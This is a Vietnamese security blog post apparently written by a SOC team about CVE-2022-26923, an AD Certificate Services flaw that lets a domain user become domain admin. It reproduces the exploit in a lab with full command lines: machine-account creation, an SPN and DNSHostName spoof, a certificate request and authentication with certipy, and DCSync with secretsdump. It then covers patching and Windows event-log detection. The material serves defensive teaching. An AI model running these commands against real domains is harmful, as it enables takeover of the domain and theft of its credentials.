Cập nhật nhẹ về lỗ hổng leo thang đặc quyền AD - CVE-2022-26923 - Active Directory Domain Privilege Escalation

Cập nhật nhẹ về lỗ hổng leo thang đặc quyền AD - CVE-2022-26923 - Active Directory Domain Privilege Escalation

Trong bản cập nhật Patch Tuesday tháng 5, trong số các lỗ hổng được đánh giá Critical và Important, đáng chú ý lỗ hổng CVE-2022-26923 liên quan đến leo thang đặc quyền, cho phép leo thang từ quyền Domain User lên Domain Admin ảnh hưởng đến máy chủ Active Directory có cài đặt ADCS (Active Directory Certificates Service). Oliver Lyak (@ly4k_) là người đã tìm ra lỗ hổng, researcher này cũng public một bài phân tích chi tiết về ADCS và cách thức khai thác

Bài viết giới thiệu về ADCS và phân tích chi tiết về cách thức khai thác lỗ hổng có thể tham khảo thêm ở các link sau:

https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf

https://research.ifcr.dk/9e098fe298f4

Dựa trên các bài phân tích đó, đội ngũ GTSC xây dựng mô hình Lab mô phỏng cách thức tấn công, qua đó cung cấp dấu hiệu và phát hiện dựa trên Windows Event Log

 

Mô hình Lab cơ bản bao gồm, một máy client Win10 và một máy chủ AD đã cài đặt ADCS (WIN-DC@blue.lab). Sau khi chiếm được một tài khoản domain user, attacker sẽ thực hiện đăng nhập vào máy client và tiến hành leo thang lên domain admin qua khai thác lỗ hổng CVE-2022-26923.

Exploit

 

Bước 1: Sử dụng tài khoản domain user, tạo tài khoản Computer Account có tên EVIL

addcomputer.py blue.lab/TEST:Password@123 -method LDAPS -computer-name EVIL -computer-pass Blu3team

 

Bước 2: Đổi giá trị DNSHostName của tài khoản mới tạo – EVIL thành DNSHostname của DC

Giá trị tại trường này có thể thay đổi do tài khoản được cấp quyền “Validated write to DNS host name”. Ngoài ra, trong tài liệu của MS cũng không đề cập đến việc giá trị này phải là là duy nhất (unique) và không được trùng lặp.

Nhưng trước đó để thay đổi giá trị này thì cần xóa bỏ 2 giá trị mới liên quan chứa DNSHostName trong trường servicePrincipalName. 2 giá trị này được cập nhật sau mỗi lần thay đổi DNSHostName

Bằng cách xóa 2 giá trị mới trong trường servicePrincipalName có chứa DNSHostName (có thể thực hiện được do tài khoản domain user đang sử dụng có quyền “Validated write to service principal name”), giá trị trong DNSHostName có thể được thay đổi thành công thành DNSHostName của DC, do không có giá trị nào chứa giá trị DNSHostName, domain controller sẽ không phải không phải cập nhật servicePrincipalName

Import-Module ActiveDirectory

Set-ADComputer -Identity "EVIL" -ServicePrinacipalNames @{Remove="RestrictedKrbHost/EVIL.blue.lab","HOST/EVIL.BLUE.LAB"}

 

Sau khi xóa bỏ 2 giá trị tại trường servicePrincipalName chứa DNSHostName. Trường DNSHostName sẽ cho phép đổi thành DNSHostName của DC

Set-Adcomputer -Identity “EVIL” -DNSHostName WIN-DC.blue.lab

 

Bước 3:  Request lại certificate mới cho computer account EVIL$ với giá trị DNSHostName đã đổi về WIN-DC.blue.lab. Certificate mới nhận được sẽ là certificate với DNSHostName của WIN-DC.blue.lab

certipy req blue.lab/EVIL$:Blu3team@WIN-DC.blue.lab -ca blue-WIN-DC-CA -template Machine

 

Bước 4: Xác thực lên DC bằng certificate mới, công cụ certipy sẽ request tới Kerberos TGT và truy xuất NT hash của tài khoản win-dc$

certipy auth -pfx win-dc.pfx

 

Sử dụng hash này để kết hợp với các cách tấn công phổ biến khác như DCSync Attack

secretsdump.py "blue.lab/WIN-DC$@WIN-DC.blue.lab" -hashes :e60bec4ab333accbfb……..

 

Mitigation / Detection

 

MS đã phát hành bản cập nhật cho lỗ hổng này trong KB5014754 - May 2022 Security Update, thông tin chi tiết tham khảo  https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26923.

Để phát hiện được các hành vi tấn công khai thác lỗ hổng, máy chủ DC cần cấu hình audit log như sau:

- Trong tab audit của CA properties chọn Issue and manage certificates requests để đảm bảo sinh ra các log với event ID 4886, 4887

 
 
 

Event ID 4886 sinh ra khi Certificate Services nhận được request yêu cầu tạo một certificate. Log sinh ra có tên Certificate Services received a certificate request với thông tin về tài khoản yêu cầu certificate và template của certificate

Event ID 4887 sinh ra khi CS approve một certificate request. Log sinh ra có tên Certificate Services approved a certificate request and issued a certificate

- Enable log Audit Computer Account Management tại đường dẫn ‘Computer Configuration \Windows Settings\Security Settings\Advanced Audit Policies’ để sinh ra các log với event ID 4741,4742

Event ID 4741 sinh ra khi một tài khoản máy (computter account) được tạo. Log sinh ra có tên A computer account was created.

Event ID 4742 sinh ra khi thông tin của tài khoản máy bị thay đổi. Log sinh ra có tên A computer account was changed

Tại bước 1, khi tạo tài khoản computer account mới, event ID 4741 sẽ được sinh ra trong Windows Event Log Security.

 

 

Tại bước 2, khi thay đổi giá trị trong 2 trường Service PrincipalNameDNSHostName, event ID 4742 sẽ được sinh ra trong Windows Event Log Security (chú ý các trường giá trị bị thay đổi)

 
 

Tại bước 3, khi request để yêu cầu một certificate mới, event ID 4886 sẽ sinh ra trong Windows Event Log Security.

 

Khi CS approve certificate request, ID 4887 sẽ sinh ra trong log Windows Event Log Security. (chú ý giá trị của RequesterSubject)

 

Trong trường hợp hành vi tấn công tiếp theo sử dụng DCSync attack, có thể phát hiện thông qua event ID 4662 trong Security Log với object properties: “1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" hoặc "89e95b76-444d-4c62-991a-0facbeda640c”. Các GUIDs này là các GUIDs của Replication sử dụng trong DCSync attack.

Author: GTSC SOC Team

Các gói dịch vụ

Liên hệ

Name
Email
Phone
Message